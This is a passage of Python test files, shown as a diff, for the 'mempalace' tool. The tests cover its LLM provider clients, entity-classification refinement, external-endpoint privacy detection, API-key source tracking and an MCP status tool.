get_provider,
)
# ── factory ─────────────────────────────────────────────────────────────
def test_get_provider_ollama():
p = get_provider("ollama", "gemma4:e4b")
assert isinstance(p, OllamaProvider)
assert p.model == "gemma4:e4b"
assert p.endpoint == OllamaProvider.DEFAULT_ENDPOINT
def test_get_provider_openai_compat():
p = get_provider("openai-compat", "foo", endpoint="http://localhost:1234")
assert isinstance(p, OpenAICompatProvider)
def test_get_provider_anthropic():
p = get_provider("anthropic", "claude-haiku", api_key="sk-xxx")
assert isinstance(p, AnthropicProvider)
assert p.api_key == "sk-xxx"
def test_get_provider_unknown_raises():
with pytest.raises(LLMError, match="Unknown provider"):
get_provider("nonsense", "x")
# ── _http_post_json ─────────────────────────────────────────────────────
def test_http_post_json_success():
mock_resp = MagicMock()
mock_resp.read.return_value = b'{"ok": true}'
mock_resp.__enter__.return_value = mock_resp
mock_resp.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
result = _http_post_json("http://x/y", {"a": 1}, {}, timeout=5)
assert result == {"ok": True}
def test_http_post_json_http_error_wraps_as_llm_error():
from urllib.error import HTTPError
import io
err = HTTPError("http://x", 404, "Not Found", {}, io.BytesIO(b"model missing"))
with patch("mempalace.llm_client.urlopen", side_effect=err):
with pytest.raises(LLMError, match="HTTP 404"):
_http_post_json("http://x", {}, {}, timeout=5)
def test_http_post_json_url_error_wraps_as_llm_error():
from urllib.error import URLError
with patch("mempalace.llm_client.urlopen", side_effect=URLError("conn refused")):
with pytest.raises(LLMError, match="Cannot reach"):
_http_post_json("http://x", {}, {}, timeout=5)
def test_http_post_json_malformed_response():
mock_resp = MagicMock()
mock_resp.read.return_value = b"not json"
mock_resp.__enter__.return_value = mock_resp
mock_resp.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
with pytest.raises(LLMError, match="Malformed"):
_http_post_json("http://x", {}, {}, timeout=5)
# ── OllamaProvider ──────────────────────────────────────────────────────
def _mock_ollama_chat_response(content: str):
mock = MagicMock()
mock.read.return_value = json.dumps({"message": {"content": content}}).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
return mock
def test_ollama_check_available_finds_model():
tags = {"models": [{"name": "gemma4:e4b"}, {"name": "other:latest"}]}
mock = MagicMock()
mock.read.return_value = json.dumps(tags).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock):
p = OllamaProvider(model="gemma4:e4b")
ok, msg = p.check_available()
assert ok
assert msg == "ok"
def test_ollama_check_available_accepts_latest_suffix():
tags = {"models": [{"name": "mymodel:latest"}]}
mock = MagicMock()
mock.read.return_value = json.dumps(tags).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock):
p = OllamaProvider(model="mymodel")
ok, _ = p.check_available()
assert ok
def test_ollama_check_available_missing_model():
tags = {"models": [{"name": "other:latest"}]}
mock = MagicMock()
mock.read.return_value = json.dumps(tags).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock):
p = OllamaProvider(model="absent")
ok, msg = p.check_available()
assert not ok
assert "ollama pull absent" in msg
def test_ollama_check_available_unreachable():
from urllib.error import URLError
with patch("mempalace.llm_client.urlopen", side_effect=URLError("refused")):
p = OllamaProvider(model="gemma4:e4b")
ok, msg = p.check_available()
assert not ok
assert "Cannot reach Ollama" in msg
def test_ollama_classify_sends_json_format():
captured = {}
def fake_urlopen(req, *, timeout):
captured["url"] = req.full_url
captured["body"] = json.loads(req.data.decode())
return _mock_ollama_chat_response('{"classifications": []}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = OllamaProvider(model="gemma4:e4b")
resp = p.classify("sys", "user", json_mode=True)
assert captured["body"]["format"] == "json"
assert captured["body"]["model"] == "gemma4:e4b"
assert captured["url"].endswith("/api/chat")
assert resp.provider == "ollama"
assert resp.text == '{"classifications": []}'
def test_ollama_classify_empty_content_raises():
with patch("mempalace.llm_client.urlopen", return_value=_mock_ollama_chat_response("")):
p = OllamaProvider(model="x")
with pytest.raises(LLMError, match="Empty response"):
p.classify("s", "u")
# ── OpenAICompatProvider ────────────────────────────────────────────────
def _mock_openai_response(content: str):
mock = MagicMock()
payload = {"choices": [{"message": {"content": content}}]}
mock.read.return_value = json.dumps(payload).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
return mock
def test_openai_compat_resolves_url_with_v1_suffix():
captured = {}
def fake_urlopen(req, *, timeout):
captured["url"] = req.full_url
return _mock_openai_response('{"ok": true}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = OpenAICompatProvider(model="x", endpoint="http://h:1234")
p.classify("s", "u")
assert captured["url"] == "http://h:1234/v1/chat/completions"
def test_openai_compat_resolves_url_with_existing_v1():
captured = {}
def fake_urlopen(req, *, timeout):
captured["url"] = req.full_url
return _mock_openai_response('{"ok": true}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = OpenAICompatProvider(model="x", endpoint="http://h:1234/v1")
p.classify("s", "u")
assert captured["url"] == "http://h:1234/v1/chat/completions"
def test_openai_compat_requires_endpoint():
p = OpenAICompatProvider(model="x")
with pytest.raises(LLMError, match="requires --llm-endpoint"):
p.classify("s", "u")
def test_openai_compat_sends_authorization_when_key_present():
captured = {}
def fake_urlopen(req, *, timeout):
captured["auth"] = req.get_header("Authorization")
return _mock_openai_response('{"ok": true}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-aaa")
p.classify("s", "u")
assert captured["auth"] == "Bearer sk-aaa"
def test_openai_compat_uses_env_var_fallback(monkeypatch):
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env")
p = OpenAICompatProvider(model="x", endpoint="http://h")
assert p.api_key == "sk-from-env"
def test_openai_compat_sends_response_format_json():
captured = {}
def fake_urlopen(req, *, timeout):
captured["body"] = json.loads(req.data.decode())
return _mock_openai_response('{"ok": true}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = OpenAICompatProvider(model="x", endpoint="http://h")
p.classify("s", "u", json_mode=True)
assert captured["body"]["response_format"] == {"type": "json_object"}
def test_openai_compat_unexpected_shape_raises():
mock = MagicMock()
mock.read.return_value = b'{"nothing": "here"}'
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock):
p = OpenAICompatProvider(model="x", endpoint="http://h")
with pytest.raises(LLMError, match="Unexpected response shape"):
p.classify("s", "u")
# ── AnthropicProvider ───────────────────────────────────────────────────
def _mock_anthropic_response(text: str):
mock = MagicMock()
payload = {"content": [{"type": "text", "text": text}]}
mock.read.return_value = json.dumps(payload).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
return mock
def test_anthropic_requires_api_key(monkeypatch):
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
p = AnthropicProvider(model="claude-haiku")
ok, msg = p.check_available()
assert not ok
assert "ANTHROPIC_API_KEY" in msg
def test_anthropic_reads_env_key(monkeypatch):
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env")
p = AnthropicProvider(model="claude-haiku")
assert p.api_key == "sk-ant-env"
ok, _ = p.check_available()
assert ok
def test_anthropic_classify_sends_version_and_key():
captured = {}
def fake_urlopen(req, *, timeout):
captured["api_key"] = req.get_header("X-api-key")
captured["version"] = req.get_header("Anthropic-version")
return _mock_anthropic_response('{"ok": true}')
with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
p = AnthropicProvider(model="claude-haiku", api_key="sk-ant-abc")
resp = p.classify("s", "u")
assert captured["api_key"] == "sk-ant-abc"
assert captured["version"] == AnthropicProvider.API_VERSION
assert resp.text == '{"ok": true}'
def test_anthropic_joins_multiple_text_blocks():
mock = MagicMock()
payload = {
"content": [
{"type": "text", "text": "part one. "},
{"type": "text", "text": "part two."},
]
}
mock.read.return_value = json.dumps(payload).encode()
mock.__enter__.return_value = mock
mock.__exit__.return_value = False
with patch("mempalace.llm_client.urlopen", return_value=mock):
p = AnthropicProvider(model="claude-haiku", api_key="sk-ant")
resp = p.classify("s", "u")
assert resp.text == "part one. part two."
def test_anthropic_no_key_raises_on_classify(monkeypatch):
monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
p = AnthropicProvider(model="claude-haiku")
with pytest.raises(LLMError, match="requires ANTHROPIC_API_KEY"):
p.classify("s", "u")
# ── is_external_service property (issue #24 — privacy warning support) ──
#
# `is_external_service` is True when this provider's endpoint sends data
# off the user's machine/network. Used by mempalace init to print a
# privacy warning before first run when an external API will receive
# folder content. URL-based heuristic: localhost, 127.x, ::1, .local,
# RFC1918 (10/8, 192.168/16, 172.16-31/12), and IPv6 ULA (fc/fd::) are
# all treated as local. Everything else is treated as external.
def test_ollama_provider_default_endpoint_is_local():
"""OllamaProvider's default endpoint is http://localhost:11434, which
must be classified as local — no privacy warning fires for the
typical user running Ollama on their own machine."""
p = OllamaProvider(model="gemma4:e4b")
assert p.is_external_service is False, (
f"Default OllamaProvider endpoint must be local; got "
f"is_external_service={p.is_external_service} for endpoint={p.endpoint}"
)
def test_openai_compat_provider_localhost_endpoint_is_local():
"""LM Studio / llama.cpp server / vLLM commonly bind to localhost.
Those setups must NOT trigger the external-API warning."""
p = OpenAICompatProvider(model="any", endpoint="http://localhost:1234")
assert p.is_external_service is False
p_127 = OpenAICompatProvider(model="any", endpoint="http://127.0.0.1:8000")
assert p_127.is_external_service is False
p_lan = OpenAICompatProvider(model="any", endpoint="http://192.168.1.50:1234")
assert p_lan.is_external_service is False, "LAN (RFC1918) endpoints must be local"
def test_openai_compat_provider_cloud_endpoint_is_external():
"""A user pointing openai-compat at OpenAI's hosted API or any other
non-local endpoint MUST trigger the external warning."""
p = OpenAICompatProvider(model="gpt-4o", endpoint="https://api.openai.com")
assert p.is_external_service is True, (
f"https://api.openai.com must be classified external; got "
f"is_external_service={p.is_external_service}"
)
def test_anthropic_provider_default_endpoint_is_external():
"""AnthropicProvider's default endpoint is https://api.anthropic.com,
which is always external by definition. The privacy warning MUST
fire by default for users who pass --llm-provider anthropic."""
p = AnthropicProvider(model="claude-haiku-4-5", api_key="sk-test")
assert p.is_external_service is True, (
f"Default AnthropicProvider endpoint must be external; got "
f"is_external_service={p.is_external_service} for endpoint={p.endpoint}"
)
# ── Tailscale CGNAT range (issue #25 follow-up to #24) ──────────────────
#
# Tailscale assigns addresses in 100.64.0.0/10 (CGNAT range): first octet
# always 100, second octet 64-127 inclusive. Users running LM Studio /
# Ollama / any local LLM accessible via Tailscale would currently
# (post-#24, pre-#25) get a wrong privacy warning because the heuristic
# doesn't recognize CGNAT as private. These tests pin the fix.
def test_openai_compat_provider_tailscale_cgnat_endpoint_is_local():
"""Tailscale CGNAT range (100.64.0.0/10) — IPs where the first octet
is 100 AND the second octet is 64-127 inclusive — must be classified
as local. Tailscale users running LM Studio on their Tailnet should
not trigger the external-API warning.
"""
cases = [
("http://100.64.0.1:1234", "start of CGNAT"),
("http://100.100.50.50:1234", "middle of CGNAT (typical Tailscale assignment)"),
("http://100.127.255.254:1234", "near end of CGNAT"),
]
for endpoint, label in cases:
p = OpenAICompatProvider(model="any", endpoint=endpoint)
assert p.is_external_service is False, (
f"Tailscale CGNAT address {endpoint} ({label}) must be classified "
f"local; got is_external_service={p.is_external_service}"
)
def test_openai_compat_provider_outside_tailscale_cgnat_is_external():
"""Addresses in 100.x.x.x that fall OUTSIDE the CGNAT range
(100.64.0.0 - 100.127.255.255) are public IPs in regular allocated
space and must remain classified as external. Specifically: anything
where the second octet is < 64 or > 127.
"""
cases = [
("http://100.0.0.1:1234", "below CGNAT (public)"),
("http://100.63.255.255:1234", "just below CGNAT (boundary)"),
("http://100.128.0.0:1234", "just above CGNAT (boundary)"),
("http://100.255.255.255:1234", "well above CGNAT"),
]
for endpoint, label in cases:
p = OpenAICompatProvider(model="any", endpoint=endpoint)
assert p.is_external_service is True, (
f"Address {endpoint} ({label}) is OUTSIDE Tailscale CGNAT and "
f"should remain external; got is_external_service={p.is_external_service}"
)
# ── api_key_source provenance tracking (issue #26) ──────────────────────
#
# Distinguishes whether `api_key` was set via explicit constructor arg
# (= --llm-api-key flag → "flag") vs via environment-variable fallback
# (OPENAI_API_KEY / ANTHROPIC_API_KEY → "env"). cmd_init uses this to
# decide whether to block on a consent prompt: stray env-fallback keys
# require explicit user confirmation; explicit flag-passed keys are
# treated as already-consented.
def test_openai_compat_api_key_source_flag_when_explicit(monkeypatch):
"""When ``api_key`` is passed explicitly to the constructor, the
provider records ``api_key_source == "flag"`` even if the same env
var is also set. Flag wins over env."""
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env-irrelevant")
p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-from-flag")
assert p.api_key == "sk-from-flag"
assert (
p.api_key_source == "flag"
), f"Explicit api_key arg must produce api_key_source='flag'; got {p.api_key_source!r}"
def test_openai_compat_api_key_source_env_when_fallback(monkeypatch):
"""When ``api_key`` arg is None but ``OPENAI_API_KEY`` is set, the
provider falls back to env and records ``api_key_source == "env"``.
This is the "stray key" case — user didn't explicitly authorize this
run to use the env-resolved credential."""
monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env")
p = OpenAICompatProvider(model="x", endpoint="http://h")
assert p.api_key == "sk-from-env"
assert (
p.api_key_source == "env"
), f"Env-fallback api_key must produce api_key_source='env'; got {p.api_key_source!r}"
def test_anthropic_api_key_source_tracking(monkeypatch):
"""AnthropicProvider tracks api_key_source the same way: 'flag' when
passed explicitly, 'env' when resolved from ANTHROPIC_API_KEY env."""
monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env")
p_flag = AnthropicProvider(model="claude-haiku", api_key="sk-ant-flag")
assert (
p_flag.api_key_source == "flag"
), f"Explicit api_key must produce 'flag'; got {p_flag.api_key_source!r}"
p_env = AnthropicProvider(model="claude-haiku")
assert p_env.api_key == "sk-ant-env"
assert (
p_env.api_key_source == "env"
), f"Env-fallback must produce 'env'; got {p_env.api_key_source!r}"
def test_ollama_api_key_source_is_none():
"""Ollama doesn't use api_key at all; ``api_key_source`` should be None."""
p = OllamaProvider(model="gemma4:e4b")
assert p.api_key is None
assert p.api_key_source is None
+659
View File
@@ -0,0 +1,659 @@
"""Tests for mempalace.llm_refine.
Uses a fake provider for deterministic, offline tests. No network.
"""
from dataclasses import dataclass
from mempalace.llm_client import LLMError, LLMResponse
from mempalace.llm_refine import (
_apply_classifications,
_build_user_prompt,
_collect_contexts,
_extract_json_candidates,
_is_authoritative_person,
_is_authoritative_project,
_parse_response,
collect_corpus_text,
refine_entities,
)
# ── fake provider ───────────────────────────────────────────────────────
@dataclass
class FakeProvider:
"""Returns a caller-supplied JSON string on every classify call."""
response_text: str = ""
should_raise: Exception = None
call_count: int = 0
interrupt_on_call: int = -1
def classify(self, system, user, json_mode=True):
self.call_count += 1
if self.call_count == self.interrupt_on_call:
raise KeyboardInterrupt()
if self.should_raise is not None:
raise self.should_raise
return LLMResponse(text=self.response_text, model="fake", provider="fake", raw={})
def check_available(self):
return True, "ok"
# ── _collect_contexts ───────────────────────────────────────────────────
def test_collect_contexts_finds_matches():
lines = [
"Something about Alice",
"Bob said hello",
"Alice was here",
"Alice walked by",
]
out = _collect_contexts(lines, "Alice", max_lines=2)
assert len(out) == 2
assert all("alice" in line.lower() for line in out)
def test_collect_contexts_case_insensitive():
lines = ["lowercase alice mention"]
out = _collect_contexts(lines, "Alice")
assert out == ["lowercase alice mention"]
def test_collect_contexts_uses_token_boundaries():
lines = [
"forgot should not match",
"Go is a language.",
"go-v1 shipped.",
]
out = _collect_contexts(lines, "Go", max_lines=5)
assert out == ["Go is a language.", "go-v1 shipped."]
def test_collect_contexts_dedupes_identical_lines():
lines = ["Alice", "Alice", "Alice was here"]
out = _collect_contexts(lines, "Alice", max_lines=5)
# two unique lines, not three
assert len(out) == 2
def test_collect_contexts_truncates_long_lines():
lines = ["Alice " + ("x" * 1000)]
out = _collect_contexts(lines, "Alice")
assert len(out[0]) <= 240
def test_collect_contexts_no_matches():
assert _collect_contexts(["nothing here"], "Alice") == []
# ── _build_user_prompt ──────────────────────────────────────────────────
def test_build_user_prompt_numbers_and_includes_contexts():
prompt = _build_user_prompt(
[
("Alice", "uncertain", ["Alice said hi"]),
("Bob", "project", []),
]
)
assert "1. Alice" in prompt
assert "2. Bob" in prompt
assert "Alice said hi" in prompt
assert "(no context available)" in prompt
# ── _parse_response ─────────────────────────────────────────────────────
def test_parse_response_canonicalizes_label():
text = '{"classifications": [{"name": "Alice", "label": "person", "reason": "x"}]}'
out = _parse_response(text, ["Alice"])
assert out["Alice"] == ("PERSON", "x")
def test_parse_response_accepts_type_alias():
"""LLMs may return 'type' instead of 'label'."""
text = '{"classifications": [{"name": "Bob", "type": "PROJECT"}]}'
out = _parse_response(text, ["Bob"])
assert out["Bob"][0] == "PROJECT"
def test_parse_response_maps_unknown_label_to_ambiguous():
text = '{"classifications": [{"name": "X", "label": "WEIRD"}]}'
out = _parse_response(text, ["X"])
assert out["X"][0] == "AMBIGUOUS"
def test_parse_response_restores_canonical_casing():
"""Model may lowercase the name; we restore against the expected set."""
text = '{"classifications": [{"name": "mempalace", "label": "PROJECT"}]}'
out = _parse_response(text, ["MemPalace"])
assert "MemPalace" in out
assert out["MemPalace"][0] == "PROJECT"
def test_parse_response_strips_code_fences():
text = '```json\n{"classifications": [{"name": "X", "label": "TOPIC"}]}\n```'
out = _parse_response(text, ["X"])
assert out["X"][0] == "TOPIC"
def test_parse_response_extracts_json_after_prose():
text = 'Sure, here is the JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
out = _parse_response(text, ["X"])
assert out["X"][0] == "TOPIC"
def test_parse_response_extracts_fenced_json_after_prose():
text = 'Sure:\n```json\n{"classifications": [{"name": "X", "label": "PROJECT"}]}\n```'
out = _parse_response(text, ["X"])
assert out["X"][0] == "PROJECT"
def test_extract_json_candidates_handles_embedded_array():
text = 'prefix [{"name": "Y", "label": "PERSON"}] suffix'
candidates = _extract_json_candidates(text)
assert '[{"name": "Y", "label": "PERSON"}]' in candidates
def test_parse_response_ignores_non_json_brackets_before_payload():
text = 'See [note] first. JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
out = _parse_response(text, ["X"])
assert out["X"][0] == "TOPIC"
def test_parse_response_malformed_returns_empty():
out = _parse_response("not json at all", ["X"])
assert out == {}
def test_parse_response_accepts_top_level_list():
"""Some models skip the wrapping object and return the list directly."""
text = '[{"name": "Y", "label": "PERSON"}]'
out = _parse_response(text, ["Y"])
assert out["Y"][0] == "PERSON"
# ── _apply_classifications ──────────────────────────────────────────────
def test_apply_classifications_moves_to_correct_bucket():
detected = {
"people": [],
"projects": [
{
"name": "Foo",
"type": "project",
"confidence": 0.8,
"frequency": 3,
"signals": ["old"],
}
],
"uncertain": [
{"name": "Alice", "type": "uncertain", "confidence": 0.4, "frequency": 5, "signals": []}
],
}
decisions = {
"Foo": ("PROJECT", "real project name"),
"Alice": ("PERSON", "clearly a person"),
}
new, reclass, dropped = _apply_classifications(detected, decisions)
assert len(new["people"]) == 1
assert new["people"][0]["name"] == "Alice"
assert new["people"][0]["type"] == "person"
assert reclass == 1 # Alice moved uncertain -> people
assert dropped == 0
def test_apply_classifications_drops_common_word():
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "Never",
"type": "uncertain",
"confidence": 0.4,
"frequency": 20,
"signals": [],
}
],
}
decisions = {"Never": ("COMMON_WORD", "adverb")}
new, _, dropped = _apply_classifications(detected, decisions)
assert dropped == 1
assert new["uncertain"] == []
def test_apply_classifications_keeps_unvisited_entries():
detected = {
"people": [
{
"name": "Igor",
"type": "person",
"confidence": 0.99,
"frequency": 100,
"signals": ["git"],
}
],
"projects": [],
"uncertain": [],
}
# No decision for Igor — should stay untouched
new, reclass, dropped = _apply_classifications(detected, {})
assert new["people"][0]["name"] == "Igor"
assert reclass == 0
assert dropped == 0
def test_apply_classifications_appends_reason_signal():
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "Foo",
"type": "uncertain",
"confidence": 0.4,
"frequency": 5,
"signals": ["regex"],
}
],
}
decisions = {"Foo": ("PERSON", "spoken of by name")}
new, _, _ = _apply_classifications(detected, decisions)
assert any("LLM: person" in s for s in new["people"][0]["signals"])
assert any("spoken of by name" in s for s in new["people"][0]["signals"])
def test_apply_classifications_topic_goes_to_topics_bucket():
"""TOPIC classifications now route to a dedicated ``topics`` bucket so the
miner can use them as cross-wing tunnel signal (issue #1180)."""
detected = {
"people": [],
"projects": [
{
"name": "Paris",
"type": "project",
"confidence": 0.7,
"frequency": 5,
"signals": ["regex"],
}
],
"uncertain": [],
}
decisions = {"Paris": ("TOPIC", "city, not a project")}
new, reclass, _ = _apply_classifications(detected, decisions)
assert len(new["projects"]) == 0
assert len(new["uncertain"]) == 0
assert len(new["topics"]) == 1
assert new["topics"][0]["name"] == "Paris"
assert new["topics"][0]["type"] == "topic"
assert reclass == 1
def test_apply_classifications_ambiguous_still_goes_to_uncertain():
detected = {
"people": [],
"projects": [
{
"name": "Foo",
"type": "project",
"confidence": 0.7,
"frequency": 5,
"signals": ["regex"],
}
],
"uncertain": [],
}
decisions = {"Foo": ("AMBIGUOUS", "context insufficient")}
new, reclass, _ = _apply_classifications(detected, decisions)
assert len(new["projects"]) == 0
assert len(new["uncertain"]) == 1
assert new["uncertain"][0]["name"] == "Foo"
assert reclass == 1
def test_apply_classifications_can_block_llm_only_project_promotion():
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "Terraform",
"type": "uncertain",
"confidence": 0.4,
"frequency": 5,
"signals": ["regex"],
}
],
}
decisions = {"Terraform": ("PROJECT", "tool")}
new, reclass, _ = _apply_classifications(
detected,
decisions,
allow_project_promotions=False,
)
assert new["projects"] == []
assert new["uncertain"][0]["name"] == "Terraform"
assert new["uncertain"][0]["type"] == "uncertain"
assert reclass == 0
def test_apply_classifications_allows_project_promotion_for_prose_only_mode():
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "Project Aurora",
"type": "uncertain",
"confidence": 0.4,
"frequency": 5,
"signals": ["regex"],
}
],
}
decisions = {"Project Aurora": ("PROJECT", "user effort")}
new, reclass, _ = _apply_classifications(detected, decisions)
assert new["projects"][0]["name"] == "Project Aurora"
assert new["projects"][0]["type"] == "project"
assert reclass == 1
# ── authoritative source filters ────────────────────────────────────────
def test_is_authoritative_person_requires_git_signal():
assert _is_authoritative_person({"signals": ["5 commits across 2 repos"]})
assert not _is_authoritative_person({"signals": ["pronoun nearby (5x)"]})
def test_is_authoritative_project_requires_manifest_or_git_signal():
assert _is_authoritative_project({"signals": ["package.json, 12 of your commits"]})
assert _is_authoritative_project({"signals": ["57 commits (none by you)"]})
assert not _is_authoritative_project({"signals": ["code file reference (5x)"]})
# ── refine_entities ─────────────────────────────────────────────────────
def _sample_detected():
return {
"people": [
{
"name": "Igor",
"type": "person",
"confidence": 0.99,
"frequency": 100,
"signals": ["git"],
}
],
"projects": [
{
"name": "Foo",
"type": "project",
"confidence": 0.7,
"frequency": 5,
"signals": ["regex"],
}
],
"uncertain": [
{
"name": "Never",
"type": "uncertain",
"confidence": 0.4,
"frequency": 10,
"signals": [],
},
{
"name": "Alice",
"type": "uncertain",
"confidence": 0.4,
"frequency": 5,
"signals": [],
},
],
}
def test_refine_entities_end_to_end_with_fake_provider():
provider = FakeProvider(
response_text=(
'{"classifications": ['
'{"name": "Foo", "label": "PROJECT", "reason": "real"},'
'{"name": "Never", "label": "COMMON_WORD"},'
'{"name": "Alice", "label": "PERSON", "reason": "name"}'
"]}"
)
)
result = refine_entities(
_sample_detected(),
corpus_text="Alice said hi. Foo was shipped. Never gonna.",
provider=provider,
show_progress=False,
)
assert result.batches_total == 1
assert result.batches_completed == 1
assert not result.cancelled
# Alice → people, Never → dropped, Foo stays in projects
names_in_people = [e["name"] for e in result.merged["people"]]
assert "Alice" in names_in_people
assert "Igor" in names_in_people # untouched
assert "Never" not in [e["name"] for e in result.merged["uncertain"]]
assert result.dropped == 1
def test_refine_entities_skips_high_confidence_projects():
"""Manifest-backed projects (conf >= 0.95) aren't sent to the LLM."""
detected = {
"people": [],
"projects": [
{
"name": "manifest-backed",
"type": "project",
"confidence": 0.99,
"frequency": 50,
"signals": ["pyproject.toml"],
}
],
"uncertain": [],
}
provider = FakeProvider(response_text='{"classifications": []}')
refine_entities(detected, "", provider, show_progress=False)
# Should not have called the LLM at all
assert provider.call_count == 0
def test_refine_entities_refines_high_confidence_regex_projects():
"""High-confidence regex projects still need LLM review without source signal."""
detected = {
"people": [],
"projects": [
{
"name": "OpenAPI",
"type": "project",
"confidence": 0.99,
"frequency": 5,
"signals": ["code file reference (5x)"],
}
],
"uncertain": [],
}
provider = FakeProvider(
response_text=(
'{"classifications": [{"name": "OpenAPI", "label": "TOPIC", "reason": "technology"}]}'
)
)
result = refine_entities(detected, "OpenAPI schemas", provider, show_progress=False)
assert provider.call_count == 1
assert result.reclassified == 1
assert result.merged["projects"] == []
# TOPIC labels go to the dedicated ``topics`` bucket so the miner can
# use them for cross-wing tunnel computation (issue #1180).
assert result.merged["topics"][0]["name"] == "OpenAPI"
def test_refine_entities_refines_regex_people_but_skips_git_people():
detected = {
"people": [
{
"name": "Igor Lins e Silva",
"type": "person",
"confidence": 0.99,
"frequency": 100,
"signals": ["100 commits across 3 repos"],
},
{
"name": "Tool",
"type": "person",
"confidence": 0.99,
"frequency": 5,
"signals": ["pronoun nearby (5x)"],
},
],
"projects": [],
"uncertain": [],
}
provider = FakeProvider(
response_text='{"classifications": [{"name": "Tool", "label": "COMMON_WORD"}]}'
)
result = refine_entities(detected, "Tool is a common noun.", provider, show_progress=False)
assert provider.call_count == 1
names = [e["name"] for e in result.merged["people"]]
assert names == ["Igor Lins e Silva"]
assert result.dropped == 1
def test_refine_entities_can_keep_llm_only_project_in_uncertain():
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": "Terraform",
"type": "uncertain",
"confidence": 0.4,
"frequency": 9,
"signals": ["regex"],
}
],
}
provider = FakeProvider(
response_text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
)
result = refine_entities(
detected,
"Terraform config",
provider,
show_progress=False,
allow_project_promotions=False,
)
assert result.merged["projects"] == []
assert result.merged["uncertain"][0]["name"] == "Terraform"
assert any("LLM: project" in s for s in result.merged["uncertain"][0]["signals"])
def test_refine_entities_empty_candidates_returns_noop():
detected = {"people": [], "projects": [], "uncertain": []}
provider = FakeProvider()
result = refine_entities(detected, "", provider, show_progress=False)
assert result.batches_total == 0
assert result.reclassified == 0
assert result.merged == detected
def test_refine_entities_handles_batch_error_gracefully():
provider = FakeProvider(should_raise=LLMError("transport broke"))
result = refine_entities(
_sample_detected(),
corpus_text="",
provider=provider,
show_progress=False,
)
assert result.errors
assert "transport broke" in result.errors[0]
# Detected unchanged (no successful decisions)
assert result.reclassified == 0
assert result.cancelled is False
def test_refine_entities_ctrl_c_returns_partial():
"""Ctrl-C during refinement marks cancelled=True and returns partial result."""
# Two batches' worth of candidates
detected = {
"people": [],
"projects": [],
"uncertain": [
{
"name": f"Cand{i}",
"type": "uncertain",
"confidence": 0.4,
"frequency": 3,
"signals": [],
}
for i in range(50)
],
}
provider = FakeProvider(
response_text='{"classifications": []}',
interrupt_on_call=2, # interrupt on second batch
)
result = refine_entities(detected, "", provider, batch_size=25, show_progress=False)
assert result.cancelled is True
assert result.batches_completed == 1 # first batch finished; second interrupted
assert result.batches_total == 2
def test_refine_entities_malformed_response_recorded_as_error():
provider = FakeProvider(response_text="not json")
result = refine_entities(_sample_detected(), "", provider, show_progress=False)
assert any("could not parse" in e for e in result.errors)
# ── collect_corpus_text ─────────────────────────────────────────────────
def test_collect_corpus_text_reads_prose_files(tmp_path):
(tmp_path / "a.md").write_text("hello world")
(tmp_path / "b.txt").write_text("more prose")
(tmp_path / "c.py").write_text("import os") # not prose, skipped
text = collect_corpus_text(str(tmp_path))
assert "hello world" in text
assert "more prose" in text
assert "import os" not in text
def test_collect_corpus_text_prefers_recent(tmp_path):
import os
import time
old = tmp_path / "old.md"
old.write_text("OLD_CONTENT")
time.sleep(0.01)
new = tmp_path / "new.md"
new.write_text("NEW_CONTENT")
# Force old to be older still
old_mtime = old.stat().st_mtime - 3600
os.utime(old, (old_mtime, old_mtime))
text = collect_corpus_text(str(tmp_path), max_files=1)
assert "NEW_CONTENT" in text
assert "OLD_CONTENT" not in text
def test_collect_corpus_text_missing_dir_returns_empty(tmp_path):
assert collect_corpus_text(str(tmp_path / "nope")) == ""
def test_collect_corpus_text_caps_bytes_per_file(tmp_path):
big = tmp_path / "big.md"
big.write_text("x" * 100_000)
text = collect_corpus_text(str(tmp_path), max_files=1, max_bytes_per_file=500)
assert len(text) <= 600 # 500 + newlines
+130
View File
@@ -250,6 +250,38 @@ class TestReadTools:
assert "project" in result["wings"]
assert "notes" in result["wings"]
def test_status_handles_none_metadata_without_partial(
self, monkeypatch, config, palace_path, kg
):
"""tool_status must not crash or go partial when the metadata cache
returns a ``None`` entry — palaces can contain drawers with no
metadata (older mining paths, third-party writes). Before the guard,
``m.get("wing")`` raised AttributeError mid-tally and the result
carried ``"error"`` + ``"partial": True`` even though the data was
perfectly fetchable."""
from unittest.mock import patch as _patch
_patch_mcp_server(monkeypatch, config, kg)
from mempalace.mcp_server import tool_status
# Inject a metadata cache where one entry is None
with _patch("mempalace.mcp_server._get_collection") as mock_get_col:
fake_col = type("C", (), {"count": lambda self: 2})()
mock_get_col.return_value = fake_col
with _patch(
